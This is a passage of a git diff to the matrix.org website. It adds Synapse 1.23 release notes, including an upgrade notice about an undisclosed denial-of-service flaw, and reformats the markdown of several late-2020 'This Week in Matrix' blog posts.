config. ([\#8718](https://github.com/matrix-org/synapse/issues/8718)) -- Improve the error message returned when a remote server incorrectly sets the `Content-Type` header in response to a JSON request. ([\#8719](https://github.com/matrix-org/synapse/issues/8719)) -- Speed up repeated state resolutions on the same room by caching event ID to auth event ID lookups. ([\#8752](https://github.com/matrix-org/synapse/issues/8752)) +__Note__: We are aware of a trivially exploitable denial of service vulnerability in versions of Synapse prior to 1.20.0. Complete details will be disclosed on Monday, November 23rd. If you have not upgraded recently, please do so. + +### Bugfixes + +* Fix a dependency versioning bug in the Dockerfile that prevented Synapse from starting. ([\#8767](https://github.com/matrix-org/synapse/issues/8767)) + +## Synapse 1.23.0rc1 (2020-11-13) + +### Features + +* Add a push rule that highlights when a jitsi conference is created in a room. ([\#8286](https://github.com/matrix-org/synapse/issues/8286)) +* Add an admin api to delete a single file or files that were not used for a defined time from server. Contributed by @dklimpel. ([\#8519](https://github.com/matrix-org/synapse/issues/8519)) +* Split admin API for reported events (`GET /_synapse/admin/v1/event_reports`) into detail and list endpoints. This is a breaking change to #8217 which was introduced in Synapse v1.21.0. Those who already use this API should check their scripts. Contributed by @dklimpel. ([\#8539](https://github.com/matrix-org/synapse/issues/8539)) +* Support generating structured logs via the standard logging configuration. ([\#8607](https://github.com/matrix-org/synapse/issues/8607), [\#8685](https://github.com/matrix-org/synapse/issues/8685)) +* Add an admin API to allow server admins to list users' pushers. Contributed by @dklimpel. ([\#8610](https://github.com/matrix-org/synapse/issues/8610), [\#8689](https://github.com/matrix-org/synapse/issues/8689)) +* Add an admin API `GET /_synapse/admin/v1/users//media` to get information about uploaded media. Contributed by @dklimpel. ([\#8647](https://github.com/matrix-org/synapse/issues/8647)) +* Add an admin API for local user media statistics. Contributed by @dklimpel. ([\#8700](https://github.com/matrix-org/synapse/issues/8700)) +* Add `displayname` to Shared-Secret Registration for admins. ([\#8722](https://github.com/matrix-org/synapse/issues/8722)) + +### Bugfixes + +* Fix fetching of E2E cross signing keys over federation when only one of the master key and device signing key is cached already. ([\#8455](https://github.com/matrix-org/synapse/issues/8455)) +* Fix a bug where Synapse would blindly forward bad responses from federation to clients when retrieving profile information. ([\#8580](https://github.com/matrix-org/synapse/issues/8580)) +* Fix a bug where the account validity endpoint would silently fail if the user ID did not have an expiration time. It now returns a 400 error. ([\#8620](https://github.com/matrix-org/synapse/issues/8620)) +* Fix email notifications for invites without local state. ([\#8627](https://github.com/matrix-org/synapse/issues/8627)) +* Fix handling of invalid group IDs to return a 400 rather than log an exception and return a 500. ([\#8628](https://github.com/matrix-org/synapse/issues/8628)) +* Fix handling of User-Agent headers that are invalid UTF-8, which caused user agents of users to not get correctly recorded. ([\#8632](https://github.com/matrix-org/synapse/issues/8632)) +* Fix a bug in the `joined_rooms` admin API if the user has never joined any rooms. The bug was introduced, along with the API, in v1.21.0. ([\#8643](https://github.com/matrix-org/synapse/issues/8643)) +* Fix exception during handling multiple concurrent requests for remote media when using multiple media repositories. ([\#8682](https://github.com/matrix-org/synapse/issues/8682)) +* Fix bug that prevented Synapse from recovering after losing connection to the database. ([\#8726](https://github.com/matrix-org/synapse/issues/8726)) +* Fix bug where the `/_synapse/admin/v1/send_server_notice` API could send notices to non-notice rooms. ([\#8728](https://github.com/matrix-org/synapse/issues/8728)) +* Fix PostgreSQL port script fails when DB has no backfilled events. Broke in v1.21.0. ([\#8729](https://github.com/matrix-org/synapse/issues/8729)) +* Fix PostgreSQL port script to correctly handle foreign key constraints. Broke in v1.21.0. ([\#8730](https://github.com/matrix-org/synapse/issues/8730)) +* Fix PostgreSQL port script so that it can be run again after a failure. Broke in v1.21.0. ([\#8755](https://github.com/matrix-org/synapse/issues/8755)) + +### Improved Documentation + +* Instructions for Azure AD in the OpenID Connect documentation. Contributed by peterk. ([\#8582](https://github.com/matrix-org/synapse/issues/8582)) +* Improve the sample configuration for single sign-on providers. ([\#8635](https://github.com/matrix-org/synapse/issues/8635)) +* Fix the filepath of Dex's example config and the link to Dex's Getting Started guide in the OpenID Connect docs. ([\#8657](https://github.com/matrix-org/synapse/issues/8657)) +* Note support for Python 3.9. ([\#8665](https://github.com/matrix-org/synapse/issues/8665)) +* Minor updates to docs on running tests. ([\#8666](https://github.com/matrix-org/synapse/issues/8666)) +* Interlink prometheus/grafana documentation. ([\#8667](https://github.com/matrix-org/synapse/issues/8667)) +* Notes on SSO logins and media_repository worker. ([\#8701](https://github.com/matrix-org/synapse/issues/8701)) +* Document experimental support for running multiple event persisters. ([\#8706](https://github.com/matrix-org/synapse/issues/8706)) +* Add information regarding the various sources of, and expected contributions to, Synapse's documentation to `CONTRIBUTING.md`. ([\#8714](https://github.com/matrix-org/synapse/issues/8714)) +* Migrate documentation `docs/admin_api/event_reports` to markdown. ([\#8742](https://github.com/matrix-org/synapse/issues/8742)) +* Add some helpful hints to the README for new Synapse developers. Contributed by @chagai95. ([\#8746](https://github.com/matrix-org/synapse/issues/8746)) + +### Internal Changes + +* Optimise `/createRoom` with multiple invited users. ([\#8559](https://github.com/matrix-org/synapse/issues/8559)) +* Implement and use an `@lru_cache` decorator. ([\#8595](https://github.com/matrix-org/synapse/issues/8595)) +* Don't instantiate Requester directly. ([\#8614](https://github.com/matrix-org/synapse/issues/8614)) +* Type hints for `RegistrationStore`. ([\#8615](https://github.com/matrix-org/synapse/issues/8615)) +* Change schema to support access tokens belonging to one user but granting access to another. ([\#8616](https://github.com/matrix-org/synapse/issues/8616)) +* Remove unused OPTIONS handlers. ([\#8621](https://github.com/matrix-org/synapse/issues/8621)) +* Run `mypy` as part of the lint.sh script. ([\#8633](https://github.com/matrix-org/synapse/issues/8633)) +* Correct Synapse's PyPI package name in the OpenID Connect installation instructions. ([\#8634](https://github.com/matrix-org/synapse/issues/8634)) +* Catch exceptions during initialization of `password_providers`. Contributed by Nicolai Søborg. ([\#8636](https://github.com/matrix-org/synapse/issues/8636)) +* Fix typos and spelling errors in the code. ([\#8639](https://github.com/matrix-org/synapse/issues/8639)) +* Reduce number of OpenTracing spans started. ([\#8640](https://github.com/matrix-org/synapse/issues/8640), [\#8668](https://github.com/matrix-org/synapse/issues/8668), [\#8670](https://github.com/matrix-org/synapse/issues/8670)) +* Add field `total` to device list in admin API. ([\#8644](https://github.com/matrix-org/synapse/issues/8644)) +* Add more type hints to the application services code. ([\#8655](https://github.com/matrix-org/synapse/issues/8655), [\#8693](https://github.com/matrix-org/synapse/issues/8693)) +* Tell Black to format code for Python 3.5. ([\#8664](https://github.com/matrix-org/synapse/issues/8664)) +* Don't pull event from DB when handling replication traffic. ([\#8669](https://github.com/matrix-org/synapse/issues/8669)) +* Abstract some invite-related code in preparation for landing knocking. ([\#8671](https://github.com/matrix-org/synapse/issues/8671), [\#8688](https://github.com/matrix-org/synapse/issues/8688)) +* Clarify representation of events in logfiles. ([\#8679](https://github.com/matrix-org/synapse/issues/8679)) +* Don't require `hiredis` package to be installed to run unit tests. ([\#8680](https://github.com/matrix-org/synapse/issues/8680)) +* Fix typing info on cache call signature to accept `on_invalidate`. ([\#8684](https://github.com/matrix-org/synapse/issues/8684)) +* Fail tests if they do not await coroutines. ([\#8690](https://github.com/matrix-org/synapse/issues/8690)) +* Improve start time by adding an index to `e2e_cross_signing_keys.stream_id`. ([\#8694](https://github.com/matrix-org/synapse/issues/8694)) +* Re-organize the structured logging code to separate the TCP transport handling from the JSON formatting. ([\#8697](https://github.com/matrix-org/synapse/issues/8697)) +* Use Python 3.8 in Docker images by default. ([\#8698](https://github.com/matrix-org/synapse/issues/8698)) +* Remove the "draft" status of the Room Details Admin API. ([\#8702](https://github.com/matrix-org/synapse/issues/8702)) +* Improve the error returned when a non-string displayname or avatar_url is used when updating a user's profile. ([\#8705](https://github.com/matrix-org/synapse/issues/8705)) +* Block attempts by clients to send server ACLs, or redactions of server ACLs, that would result in the local server being blocked from the room. ([\#8708](https://github.com/matrix-org/synapse/issues/8708)) +* Add metrics the allow the local sysadmin to track 3PID `/requestToken` requests. ([\#8712](https://github.com/matrix-org/synapse/issues/8712)) +* Consolidate duplicated lists of purged tables that are checked in tests. ([\#8713](https://github.com/matrix-org/synapse/issues/8713)) +* Add some `mdui:UIInfo` element examples for `saml2_config` in the homeserver config. ([\#8718](https://github.com/matrix-org/synapse/issues/8718)) +* Improve the error message returned when a remote server incorrectly sets the `Content-Type` header in response to a JSON request. ([\#8719](https://github.com/matrix-org/synapse/issues/8719)) +* Speed up repeated state resolutions on the same room by caching event ID to auth event ID lookups. ([\#8752](https://github.com/matrix-org/synapse/issues/8752)) diff --git a/content/blog/2020/11/2020-11-20-this-week-in-matrix-2020-11-20.md b/content/blog/2020/11/2020-11-20-this-week-in-matrix-2020-11-20.md index 3f8fc0699..4cc0773bb 100644 --- a/content/blog/2020/11/2020-11-20-this-week-in-matrix-2020-11-20.md +++ b/content/blog/2020/11/2020-11-20-this-week-in-matrix-2020-11-20.md @@ -62,12 +62,12 @@ Something different this week as we welcomed the community to submit their own d > > **Merged MSCs:** > -> * _No MSCs were merged this week._ +> * *No MSCs were merged this week.* > > **MSCs in Final Comment Period:** > > * [MSC1544: Key verification using QR codes](https://github.com/matrix-org/matrix-doc/pull/1544) -> * This landed right after I wrote the first draft of this entry! +> * This landed right after I wrote the first draft of this entry! > > **New MSCs:** > @@ -130,10 +130,10 @@ Dendrite is a next-generation homeserver written in Go > We released Synapse 1.23.0 on Wednesday! Read all about it on the [Matrix Blog](https://matrix.org/blog/2020/11/18/synapse-1-23-0-released). Otherwise, we'd like to highlight a few developments over the past week: > -> * We're discussing a policy for ending support for old versions of Python and PostgreSQL. If you have opinions, please [let us know on GitHub](https://github.com/matrix-org/synapse/issues/8782). +> * We're discussing a policy for ending support for old versions of Python and PostgreSQL. If you have opinions, please [let us know on GitHub](https://github.com/matrix-org/synapse/issues/8782). > -> * Our initial implementation of [MSC2403: Add "knock" feature](https://github.com/matrix-org/matrix-doc/pull/2403) is undergoing review, and will likely land soon. -> * We've been looking at ways to improve the efficiency of state resolution, and Erik has managed to [devise some algorithmic improvements](https://github.com/matrix-org/synapse/issues/8622#issuecomment-729620021) that yield an order of magnitude speedup for a handful of pathologic cases. We hope to have a better idea of how this might work for real world workloads soon. +> * Our initial implementation of [MSC2403: Add "knock" feature](https://github.com/matrix-org/matrix-doc/pull/2403) is undergoing review, and will likely land soon. +> * We've been looking at ways to improve the efficiency of state resolution, and Erik has managed to [devise some algorithmic improvements](https://github.com/matrix-org/synapse/issues/8622#issuecomment-729620021) that yield an order of magnitude speedup for a handful of pathologic cases. We hope to have a better idea of how this might work for real world workloads soon. > > Lastly, we'd like to take this opportunity to remind you to **please regularly upgrade your Synapse.** Especially if you're not yet on 1.20.0, as we'll be disclosing a denial of service issue which affects older versions on Monday. @@ -222,8 +222,6 @@ and later > I released 0.0.3 a few days ago bundling a few smaller improvements like redactions, copying messages and the ability to click on more links as well as some visual cleanups. Nothing radical, but also nothing breaking (I hope). - - ![2020-11-20-2M9RA-Bildschirmfoto_20201120_001.png](/blog/img/2020-11-20-2M9RA-Bildschirmfoto_20201120_001.png) ### Element @@ -232,76 +230,76 @@ and later > #### Delight (Rich vdH, Michael (t3chguy), Valere, Steve, Nique, Nad) > -> * **Improving usability** +> * **Improving usability** > -> * Last week -> * Observed user tests of people trying to use Element for the first time for personal and professional use cases +> * Last week +> * Observed user tests of people trying to use Element for the first time for personal and professional use cases > -> * This week: -> * Began work on fixing several of the issues observed, like: +> * This week: +> * Began work on fixing several of the issues observed, like: > -> * adding an invite people button to new rooms, so users can more easily add people; -> * changing copy to help people understand what DMs are +> * adding an invite people button to new rooms, so users can more easily add people; +> * changing copy to help people understand what DMs are > -> * **Spaces** +> * **Spaces** > -> * Communities are coming back with a bang! Last week we said we renamed them to Spaces, and this week, we’ve started designing what[ MSC1772](https://github.com/matrix-org/matrix-doc/pull/1772) would look like for users on Element, to start user testing next week. +> * Communities are coming back with a bang! Last week we said we renamed them to Spaces, and this week, we’ve started designing what[MSC1772](https://github.com/matrix-org/matrix-doc/pull/1772) would look like for users on Element, to start user testing next week. > -> * **Social login** +> * **Social login** > -> * To make authentication easier, we’ve started initial implementations of SSO in Element, exploring how homeservers & Matrix clients can support multiple SSO providers. Most of the work so far is captured in [MSC2858](https://github.com/matrix-org/matrix-doc/pull/2858). +> * To make authentication easier, we’ve started initial implementations of SSO in Element, exploring how homeservers & Matrix clients can support multiple SSO providers. Most of the work so far is captured in [MSC2858](https://github.com/matrix-org/matrix-doc/pull/2858). > > > #### VoIP (Dave, Brendan, Ismail, Francois, Simon, Nad) > -> * Web +> * Web > -> * PR up for new look in-call UI, now looking at line 1 / 2 support +> * PR up for new look in-call UI, now looking at line 1 / 2 support > -> * Mobile +> * Mobile > -> * Work ongoing to update both platforms to v1 VoIP +> * Work ongoing to update both platforms to v1 VoIP > -> * Design +> * Design > -> * Some tweaks as implementation is ongoing +> * Some tweaks as implementation is ongoing > > > #### Web Platform (Ryan) > -> * Element Web 1.7.14-rc.1 is now available at [](https://staging.element.io), including: +> * Element Web 1.7.14-rc.1 is now available at [](https://staging.element.io), including: > -> * Several tweaks and improvements to the room list filter -> * Improved registration based on user feedback +> * Several tweaks and improvements to the room list filter +> * Improved registration based on user feedback > -> * Improved invite / create DM flow +> * Improved invite / create DM flow > > > #### iOS Platform (Manu, Gil) > -> * Last week: +> * Last week: > -> * The release has been blocked because a [bug](https://github.com/vector-im/element-ios/issues/3817) has been found in the end to end encryption module. It has been fixed but we want to fix [damages](https://github.com/vector-im/element-ios/issues/3818#issuecomment-731174166) it created on one time keys before releasing the new app version. -> * The new background sync service mechanism PR has been updated +> * The release has been blocked because a [bug](https://github.com/vector-im/element-ios/issues/3817) has been found in the end to end encryption module. It has been fixed but we want to fix [damages](https://github.com/vector-im/element-ios/issues/3818#issuecomment-731174166) it created on one time keys before releasing the new app version. +> * The new background sync service mechanism PR has been updated > -> * We started to integrate [tuist](https://tuist.io/) to stop to be annoyed with merge conflicts on the Xcode project file +> * We started to integrate [tuist](https://tuist.io/) to stop to be annoyed with merge conflicts on the Xcode project file > -> * This week: +> * This week: > -> * Release! -> * Merge the background sync service mechanism PR and make more people test it +> * Release! +> * Merge the background sync service mechanism PR and make more people test it > > > #### Android Platform (Benoit, Onuray) > -> * Last week: +> * Last week: > -> * We’ve just merged a lot of PRs, to improve room creation form and fix some bugs. -> * SDK side, [Dominaezzz](https://github.com/Dominaezzz) is converting some of the Service API methods to coroutines, for a cleaner code. See for instance [](https://github.com/vector-im/element-android/pull/2414) . 9 out of about 45 services have been migrated so far. We have about a 45 services in the SDK (!) +> * We’ve just merged a lot of PRs, to improve room creation form and fix some bugs. +> * SDK side, [Dominaezzz](https://github.com/Dominaezzz) is converting some of the Service API methods to coroutines, for a cleaner code. See for instance [](https://github.com/vector-im/element-android/pull/2414) . 9 out of about 45 services have been migrated so far. We have about a 45 services in the SDK (!) > -> * This week: +> * This week: > -> * Release including a new way to invite friends to Matrix and to Element. +> * Release including a new way to invite friends to Matrix and to Element. ### Hydrogen @@ -351,11 +349,11 @@ You can see demos of both bots in this section by watching Matrix Live \o/ > > * ⚠️ Possible breaking change: [change behavior how messages are matched](https://gitlab.com/olegfiksel/home-assistant-bot/-/issues/4) > -> * Before: messages were matched only if a message starts with `!` -> * In this version: the whole message is matched. This means in v2.0.0 this will work `Hey, please !turnon light1` +> * Before: messages were matched only if a message starts with `!` +> * In this version: the whole message is matched. This means in v2.0.0 this will work `Hey, please !turnon light1` > -> * You can override this by using `^` in the config for. For example: `regex: "^!turnon"` -> * This allows one bot trigger another. See this TWIM video for details. 😉 +> * You can override this by using `^` in the config for. For example: `regex: "^!turnon"` +> * This allows one bot trigger another. See this TWIM video for details. 😉 > > * Add [howto for setting up wakeup-light with home-assistant](https://gitlab.com/olegfiksel/home-assistant-bot/-/blob/master/howtos/wake-up-light/README.md) > @@ -363,6 +361,7 @@ You can see demos of both bots in this section by watching Matrix Live \o/ > * Update opsdroid-homeassistant to 0.1.8 > > * Add `debug` [config parameter](https://gitlab.com/olegfiksel/home-assistant-bot/-/blob/master/sample-config.yaml#L40) to display messages in the chat, that the bot is getting but, maybe, is not processing/matching +> > #### Feedback > > * Join us at [#home-assistant-bot:fiksel.info](https://matrix.to/#/#home-assistant-bot:fiksel.info) [#opsdroid-general:matrix.org](https://matrix.to/#/#opsdroid-general:matrix.org) @@ -386,6 +385,7 @@ You can see demos of both bots in this section by watching Matrix Live \o/ > * Responding to only allowed users. (Including ignoring invites if a user is not allowed to use the bot.) > > * Using `!delete` to remove entries from the database as needed +> > #### Planned functions > > * Handling of timezones based on users diff --git a/content/blog/2020/11/2020-11-27-this-week-in-matrix-2020-11-27.md b/content/blog/2020/11/2020-11-27-this-week-in-matrix-2020-11-27.md index 365fe6d8d..b1ab398cc 100644 --- a/content/blog/2020/11/2020-11-27-this-week-in-matrix-2020-11-27.md +++ b/content/blog/2020/11/2020-11-27-this-week-in-matrix-2020-11-27.md @@ -27,7 +27,7 @@ image = "https://matrix.org/blog/img/2020-11-27-ml.png" > **Closed MSCs** > > * [MSC1958: Widget architecture changes](https://github.com/matrix-org/matrix-doc/pull/1958) -> * Closed in favour of newer widget MSCs +> * Closed in favour of newer widget MSCs > > **Merged MSCs:** > @@ -55,8 +55,6 @@ image = "https://matrix.org/blog/img/2020-11-27-ml.png" > > In terms of Spec Core Team MSC focus for this week, we're switching from QR Code verification to key verification additions. Otherwise things remain the same: [MSC2844](https://github.com/matrix-org/matrix-doc/issues/2844) (global versioning), [MSC2366](https://github.com/matrix-org/matrix-doc/issues/2366) (ready and done in key verification) and [MSC2790](https://github.com/matrix-org/matrix-doc/issues/2790) (modal widgets). - - ![2020-11-27-4wL5N-stacked_area_chart.png](/blog/img/2020-11-27-4wL5N-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -99,11 +97,8 @@ image = "https://matrix.org/blog/img/2020-11-27-ml.png" > > Support room: [#mx-puppet-vk:inex.rocks](https://matrix.to/#/#mx-puppet-vk:inex.rocks) - - ### matrix-sms-bridge - [Benedict](https://matrix.to/#/@benedict:imbitbu.de) offered: > The [matrix-sms-bridge](https://github.com/benkuly/matrix-sms-bridge) can finally be used with an Android smartphone as SMS-Gateway instead of gammu and a modem. @rebekka:imbitbu.de developed the app [android-sms-gateway-server](https://github.com/RebekkaMa/android-sms-gateway-server), that the bridge uses to send and receive sms messages. The new bridge version is used in combination with the app in production (medical care centre) for a week now. We have a throughput of 50-100 SMS message a day. The update is also integrated in [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy). @@ -120,8 +115,6 @@ image = "https://matrix.org/blog/img/2020-11-27-ml.png" > > There were also quite a few cleanups, most of them done by Kirillpt! Some spacing here and there, saturation changes, the login page should now be less confusing, when you don't enter a valid mxid and toggles should now not get stuck in confusing intermediate states. There is also a russian translation now and some VOIP fixes. Pretty busy week, but I like it! - - ![2020-11-27-LCo9S-Screenshot_20201127_162000.png](/blog/img/2020-11-27-LCo9S-Screenshot_20201127_162000.png) ### FluffyChat @@ -132,8 +125,6 @@ image = "https://matrix.org/blog/img/2020-11-27-ml.png" > FluffyChat 0.23.0 is out now with password recovery options and a lot of minor fixes and UX improvements. Now also available on Flathub!! 🙂 Learn more at: - - ![2020-11-27-nO6wZ-fluffychat-screenshot.png](/blog/img/2020-11-27-nO6wZ-fluffychat-screenshot.png) ### Element @@ -157,6 +148,7 @@ image = "https://matrix.org/blog/img/2020-11-27-ml.png" > **VoIP** > > We’ve been focusing on implementing UI for call holding, and general UI polish across the VoIP experience, to be released soon! +> > #### Releases > > **Element Web** diff --git a/content/blog/2020/12/2020-12-04-this-week-in-matrix-2020-12-04.md b/content/blog/2020/12/2020-12-04-this-week-in-matrix-2020-12-04.md index 0efe86ae3..91c69610a 100644 --- a/content/blog/2020/12/2020-12-04-this-week-in-matrix-2020-12-04.md +++ b/content/blog/2020/12/2020-12-04-this-week-in-matrix-2020-12-04.md @@ -14,7 +14,6 @@ image = "https://matrix.org/blog/img/2020-12-04-snowman.png" {{ youtube_player(video_id="qnHAAkY2Cx0") }} - In which Nad & Matthew go through the new consolidated Element roadmap at ## Dept of *Status of Matrix* 🌡️ @@ -39,11 +38,11 @@ Taking place NEXT WEDNESDAY, the ninth edition of my favourite monthly Open Tech > > **Merged MSCs:** > -> * _No MSCs were merged this week._ +> * *No MSCs were merged this week.* > > **MSCs in Final Comment Period:** > -> * _No MSCs are in FCP._ +> * *No MSCs are in FCP.* > > **New MSCs:** > @@ -127,8 +126,8 @@ Synapse is a popular homeserver written in Python. > > Direct links: > -> * Monolith: -> * Polylith: +> * Monolith: +> * Polylith: > > I have also submitted a PR for automated multiarch docker builds for Dendrite, so if that gets accepted, no more unofficial images for me :P @@ -197,48 +196,47 @@ Nheko really seems to be doing something right when it comes to attracting PRs! ### Element Update As compiled by the team: -- **Public Roadmap** - - We now have a [public roadmap](https://github.com/vector-im/roadmap/projects/1)! We’ll be covering more details on it in this week’s Matrix Live, as well as a blog post on element.io soon. -- **Spaces** - - Work has started in earnest on the web and android implementations. - - On the web side T3chguy completed the Spaces creation flows and is now looking at the Space landing page and Space post-creation prompts. - - We have noticed that prefixing any word with ‘Space’ makes it sounds 20% cooler. - - The mobile MVP will be read only and Valere will start with the ability to respond to invites and select Spaces. - - So far it is looking very promising with lots of feedback from user testing informing the design. -- **Social login** - - We plan to ship this as a cross client feature this month. This week we completed the implementations for web and android with iOS and Synapse ongoing. -- **VoIP** - - Line 1 / 2 support is almost ready on web: ironing out some bugs and cosmetic issues, then PR will be ready for review. VoIP V1 support and hold/resume is getting close on Android & iOS, along with stability fixes. + +* **Public Roadmap** + * We now have a [public roadmap](https://github.com/vector-im/roadmap/projects/1)! We’ll be covering more details on it in this week’s Matrix Live, as well as a blog post on element.io soon. +* **Spaces** + * Work has started in earnest on the web and android implementations. + * On the web side T3chguy completed the Spaces creation flows and is now looking at the Space landing page and Space post-creation prompts. + * We have noticed that prefixing any word with ‘Space’ makes it sounds 20% cooler. + * The mobile MVP will be read only and Valere will start with the ability to respond to invites and select Spaces. + * So far it is looking very promising with lots of feedback from user testing informing the design. +* **Social login** + * We plan to ship this as a cross client feature this month. This week we completed the implementations for web and android with iOS and Synapse ongoing. +* **VoIP** + * Line 1 / 2 support is almost ready on web: ironing out some bugs and cosmetic issues, then PR will be ready for review. VoIP V1 support and hold/resume is getting close on Android & iOS, along with stability fixes. #### Web -- Element Web 1.7.15-rc.1 is now available at , including - - Improved voice / video call UI - - Notifications are now ignored from rooms you've been active in recently - - Login / registration flows redirect inside the app if you are already logged in -- Supporting tools like CI scripts are now using the correct branding -- React SDK PRs now have experimental preview sites, which makes it easy to try out changes during review +* Element Web 1.7.15-rc.1 is now available at , including + * Improved voice / video call UI + * Notifications are now ignored from rooms you've been active in recently + * Login / registration flows redirect inside the app if you are already logged in +* Supporting tools like CI scripts are now using the correct branding +* React SDK PRs now have experimental preview sites, which makes it easy to try out changes during review #### iOS -- We can now use XCode 12.2 to build all projects -- We are still working on 2 big changes: - - Introducing a background sync service to display notifications quicker in the timeline - - Introducing XCodeGen to stop having bad merge conflicts in pbxproj files +* We can now use XCode 12.2 to build all projects +* We are still working on 2 big changes: + * Introducing a background sync service to display notifications quicker in the timeline + * Introducing XCodeGen to stop having bad merge conflicts in pbxproj files #### Android -- Release 1.0.11 in production (roll out to 10% for now) -- Feature Parity / URL preview -- Coming next Social logins -- Bug fixes +* Release 1.0.11 in production (roll out to 10% for now) +* Feature Parity / URL preview +* Coming next Social logins +* Bug fixes [Aleks Kissinger](https://matrix.to/#/@aleks.kissinger:cs.ox.ac.uk) added: > LaTeX support will be available under Labs in the next release of Element: - - ### cryptovoxels client [Matthew](https://matrix.to/#/@matthew:matrix.org) offered: diff --git a/content/blog/2020/12/2020-12-07-gitter-now-speaks-matrix.md b/content/blog/2020/12/2020-12-07-gitter-now-speaks-matrix.md index ef1939361..b76815a7e 100644 --- a/content/blog/2020/12/2020-12-07-gitter-now-speaks-matrix.md +++ b/content/blog/2020/12/2020-12-07-gitter-now-speaks-matrix.md @@ -66,9 +66,9 @@ In terms of the work which has gone into this - Gitter has been an excellent cas At high level, the core work needed was as simple as: - Add ‘virtual users’, so remote Matrix users can be modelled and represented in Gitter correctly: [https://gitlab.com/gitterHQ/webapp/-/merge_requests/2027/diffs](https://gitlab.com/gitterHQ/webapp/-/merge_requests/2027/diffs). - - This can be accomplished by simply adding a `virtualUser` property to your chat message/post/tweet schema which holds the mxid, displayName, and avatar as an alternative to your `author` field. Then display the `virtualUser` whenever available over the `author`. + - This can be accomplished by simply adding a `virtualUser` property to your chat message/post/tweet schema which holds the mxid, displayName, and avatar as an alternative to your `author` field. Then display the `virtualUser` whenever available over the `author`. - Add an application service to Gitter to bridge traffic in & out of Matrix: [https://gitlab.com/gitterHQ/webapp/-/merge_requests/2041/diffs](https://gitlab.com/gitterHQ/webapp/-/merge_requests/2041/diffs) - - This "application service" comes pre-packaged for you in many cases, so for example you can simply drop in a library like [matrix-appservice-bridge](https://github.com/matrix-org/matrix-appservice-bridge) in a Node.js application, and all of the Matrix talking complexity is handled for you. + - This "application service" comes pre-packaged for you in many cases, so for example you can simply drop in a library like [matrix-appservice-bridge](https://github.com/matrix-org/matrix-appservice-bridge) in a Node.js application, and all of the Matrix talking complexity is handled for you. - Polish it! In practice, Eric (lead Gitter dev) laid out the waypoints of the full journey: diff --git a/content/blog/2020/12/2020-12-09-synapse-1-24-0-and-1-23-1-released.md b/content/blog/2020/12/2020-12-09-synapse-1-24-0-and-1-23-1-released.md index 0c8bcf5a2..eb9cab962 100644 --- a/content/blog/2020/12/2020-12-09-synapse-1-24-0-and-1-23-1-released.md +++ b/content/blog/2020/12/2020-12-09-synapse-1-24-0-and-1-23-1-released.md @@ -27,5 +27,3 @@ category = ["Releases", "Security"] Installation instructions are available [on GitHub](https://github.com/matrix-org/synapse/blob/master/INSTALL.md), as is the `v1.24.0` [release tag](https://github.com/matrix-org/synapse/releases/tag/v1.24.0). Synapse is a Free and Open Source Software project, and we'd like to extend our thanks to everyone who contributed to this release, including [@angdraug](https://github.com/angdraug), [@chagai95](https://github.com/chagai95), [@daenney](https://github.com/daenney), [@dklimpel](https://github.com/dklimpel), [@jordanbancino](https://github.com/jordanbancino), [@localguru](https://github.com/localguru), [@nchamo](https://github.com/nchamo), [@ShadowJonathan](https://github.com/ShadowJonathan), [@TeFiLeDo](https://github.com/TeFiLeDo), [@tulir](https://github.com/tulir), and [@waylon531](https://github.com/waylon531). - - diff --git a/content/blog/2020/12/2020-12-11-this-week-in-matrix-2020-12-11.md b/content/blog/2020/12/2020-12-11-this-week-in-matrix-2020-12-11.md index 32b5d200d..ed24b0408 100644 --- a/content/blog/2020/12/2020-12-11-this-week-in-matrix-2020-12-11.md +++ b/content/blog/2020/12/2020-12-11-this-week-in-matrix-2020-12-11.md @@ -16,7 +16,7 @@ image = "https://matrix.org/blog/img/2020-12-11-8_-UX-IMG_20201209_160020.jpg" ## Dept of *Status of Matrix* 🌡️ -Lots of things to talk about! Firstly I'm very happy to say that *spaces are happening*, you can keep track of them here: https://github.com/vector-im/element-web/issues/15930. +Lots of things to talk about! Firstly I'm very happy to say that *spaces are happening*, you can keep track of them here: . Next [Open Tech Will Save Us](https://matrix.org/open-tech-will-save-us/9), was great this month, and you can also get a great introduction to Matrix Spaces there too. @@ -26,14 +26,14 @@ Then, [Marcus Schopen](https://matrix.to/#/@mschopen:uni-bielefeld.de) shared hi If you'd like to buy some OFFICIAL Matrix merch (we don't have mugs just yet), then please go to [The Matrix Shop](https://shop.matrix.org/)! Marcus also added: -> [People in Bielefeld](https://en.wikipedia.org/wiki/Bielefeld_Conspiracy) can come over to my office at university and get one. +> [People in Bielefeld](https://en.wikipedia.org/wiki/Bielefeld_Conspiracy) can come over to my office at university and get one. ## Dept of Spec 📜 [wbamberg](https://matrix.to/#/@wbamberg:matrix.org) told us: > New spec platform: we've asked the spec core team to spend some proper time with the new spec so we can decide if it's ready to ship. -> You can also file bugs at https://github.com/matrix-org/matrix-doc/labels/spec-redesign +> You can also file bugs at It's looking really good! @@ -41,13 +41,14 @@ It's looking really good! [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) offered: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > > **New MSCs:** > > * [MSC2895: Proposal to improve /members and /joined_rooms](https://github.com/matrix-org/matrix-doc/pull/2895) +> > #### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, we've continued to be quite busy with implementation during holiday crunch time. There were some constructive ideas for the team to carve out more time for spec work during this week's Spec Core Team retro, which will hopefully lead to an improved cadence this week and into the new year. @@ -100,13 +101,13 @@ Strikes me that Santa has a more centralised operation, but who can say? [TR_SLimey](https://matrix.to/#/@tr_slimey:matrix.org) reported: -> As the PR from last TWIM is still awaiting review, I have once again updated the Docker ARM images for Dendrite for version 0.3.3. As always, they can be found in my docker repo at https://hub.docker.com/u/trslimey +> As the PR from last TWIM is still awaiting review, I have once again updated the Docker ARM images for Dendrite for version 0.3.3. As always, they can be found in my docker repo at > > Direct links: > -> Monolith: https://hub.docker.com/r/trslimey/dendrite-monolith +> Monolith: > -> Polylith: https://hub.docker.com/r/trslimey/dendrite-polylith +> Polylith: ## Dept of Bridges 🌉 @@ -114,17 +115,15 @@ Strikes me that Santa has a more centralised operation, but who can say? [Eric Eastwood](https://matrix.to/#/@madlittlemods:matrix.org) announced: -> If you didn't catch it already, we did a full announcement this week for Gitter now speaking Matrix 🎉! If you're curious 